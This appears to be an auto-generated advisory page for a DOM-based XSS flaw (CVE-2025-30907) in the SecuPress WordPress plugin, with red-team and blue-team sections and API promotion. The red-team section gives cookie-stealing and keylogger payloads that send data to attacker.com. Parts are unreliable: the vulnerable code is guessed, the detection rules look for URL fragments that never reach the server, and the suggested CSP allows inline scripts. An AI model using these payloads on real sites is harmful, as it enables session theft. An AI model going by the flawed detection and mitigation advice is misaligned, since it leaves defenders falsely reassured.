CVE-2025-30907
Executive Summary
CVE-2025-30907 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the SecuPress Free WordPress plugin, versions up to and including 2.2.5.3. This vulnerability allows an attacker to inject malicious scripts into a web page’s DOM (Document Object Model) via improper neutralization of user-supplied input. The attack is executed entirely on the client side, bypassing server-side filters and making it particularly stealthy. Given the plugin’s role in security hardening, this flaw undermines the trust placed in the software and could be used to steal session cookies, deface pages, or redirect users to phishing sites. The vendor has not yet released a patch, leaving all installations of the affected version exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the WordPress plugin ecosystem, specifically in the secupress package available via the WordPress Plugin Directory. As a security plugin, SecuPress is often installed with elevated trust and permissions, making this XSS flaw particularly dangerous. Supply chain risks include:
- Malicious updates: An attacker who compromises the plugin’s update channel could inject backdoors.
- Dependency confusion: If the plugin relies on third-party libraries, those could also be vulnerable.
- Widespread impact: With over 100,000 active installations, the blast radius is significant.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Minor disruption possible.
CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires user interaction, but the widespread use of the plugin and lack of patch elevate the risk.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS flaw in the SecuPress Free plugin. Unlike reflected or stored XSS, DOM-Based XSS occurs when JavaScript in the page dynamically writes attacker-controlled data to the DOM without proper sanitization. In this case, the plugin likely reads a value from window.location.hash, document.URL, or document.referrer and injects it into the page’s HTML via innerHTML or document.write().
Attack Flow:
- An attacker crafts a malicious URL containing a payload in the fragment identifier (e.g.,
https://victim.com/#<img src=x onerror=alert(1)>). - The victim clicks the link or is redirected to it.
- The SecuPress plugin’s JavaScript reads the fragment and writes it into the DOM without escaping.
- The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the user, or redirect to a phishing page.
Root Cause: The plugin fails to sanitize or encode user input before using it in DOM manipulation functions like innerHTML, outerHTML, or jQuery.html().
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet might look like:
// Vulnerable code in secupress.js
var hash = window.location.hash.substring(1);
document.getElementById('secupress-message').innerHTML = hash;
A patched version would use safe DOM methods:
// Patched code
var hash = window.location.hash.substring(1);
var msg = document.getElementById('secupress-message');
msg.textContent = hash; // or use innerText
// Alternatively, use DOMPurify:
msg.innerHTML = DOMPurify.sanitize(hash);
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with SecuPress Free <= 2.2.5.3 installed and activated.
- A victim user with a valid session.
Exploit Steps:
- Identify the vulnerable endpoint. The plugin likely has a JavaScript file that processes URL fragments. Common paths:
/wp-content/plugins/secupress/assets/js/secupress.js. - Craft a payload that steals cookies:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Encode the payload for URL fragment:
https://victim.com/#<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Send the link to the victim via email, social engineering, or a compromised site.
- When the victim clicks, the script executes and sends the cookie to your server.
Advanced Payload (keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection:
- Monitor web server logs for requests containing
<script,onerror,onload, orjavascript:in the URL fragment. - Use browser-based CSP (Content Security Policy) headers to block inline scripts.
- Deploy a WAF rule to block malicious fragments.
Hunting:
- Search for
window.location.hashordocument.URLusage in the plugin’s JavaScript files. - Check for any recent modifications to
secupress.jsor other plugin assets.
Lab Setup:
- Install a local WordPress instance (e.g., using Docker).
- Install SecuPress Free version 2.2.5.3.
- Create a test page that triggers the vulnerable code.
- Use browser developer tools to inspect DOM changes after injecting a payload.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound requests to unknown domains containing
?cookie=or?key=parameters. - HTTP requests with
Refererheader containing#<scriptor#<img.
- Outbound requests to unknown domains containing
- File IOCs:
- Modified
secupress.jsfile with suspicious code. - New JavaScript files in
/wp-content/uploads/or/wp-content/plugins/secupress/.
- Modified
- Behavioral IOCs:
- Unexpected redirects to phishing pages.
- Unauthorized admin actions performed by non-admin users.
- Registry/Process IOCs (if server-side):
- Unusual child processes spawned by the web server (e.g.,
curl,wget).
- Unusual child processes spawned by the web server (e.g.,
Detection Engineering
YARA Rule
rule secupress_dom_xss_vuln {
meta:
description = "Detects vulnerable SecuPress Free plugin files with DOM XSS patterns"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-30907"
strings:
$vuln1 = "window.location.hash" ascii wide nocase
$vuln2 = "document.URL" ascii wide nocase
$vuln3 = "innerHTML" ascii wide nocase
$vuln4 = "document.write" ascii wide nocase
$plugin = "secupress" ascii wide nocase
condition:
$plugin and ($vuln1 or $vuln2) and ($vuln3 or $vuln4)
}
Sigma Rule
title: DOM XSS Attempt via SecuPress Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential DOM XSS exploitation attempts targeting SecuPress Free plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '#<script'
- '#<img'
- '#<svg'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of hash fragments for navigation
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30907 SecuPress DOM XSS Attempt"; flow:to_server,established; content:"secupress"; http_uri; nocase; pcre:"/(#<script|#<img|#<svg|onerror=|onload=|javascript:)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released. Deactivate and remove SecuPress Free from all WordPress installations.
- Implement a Web Application Firewall (WAF) rule to block requests containing malicious hash fragments (e.g.,
#<script,#<img,onerror=). - Add CSP headers to mitigate XSS:
Note:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; require-sri-for script;unsafe-inlinemay be needed for legacy compatibility but should be removed after patching.
Long-Term Fixes:
- Vendor: The plugin developer must sanitize all user input before DOM insertion. Use
textContentinstead ofinnerHTML, or applyDOMPurifyfor safe HTML rendering. - Users: Monitor the plugin’s changelog for a patched version (e.g., 2.2.5.4 or higher). Update immediately when available.
- Audit: Review all WordPress plugins for similar DOM XSS patterns using the YARA rule above.
Workarounds:
- If the plugin cannot be disabled, modify the vulnerable JavaScript file to replace
innerHTMLwithtextContent(requires custom development). - Use a browser extension that blocks inline scripts (e.g., NoScript).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.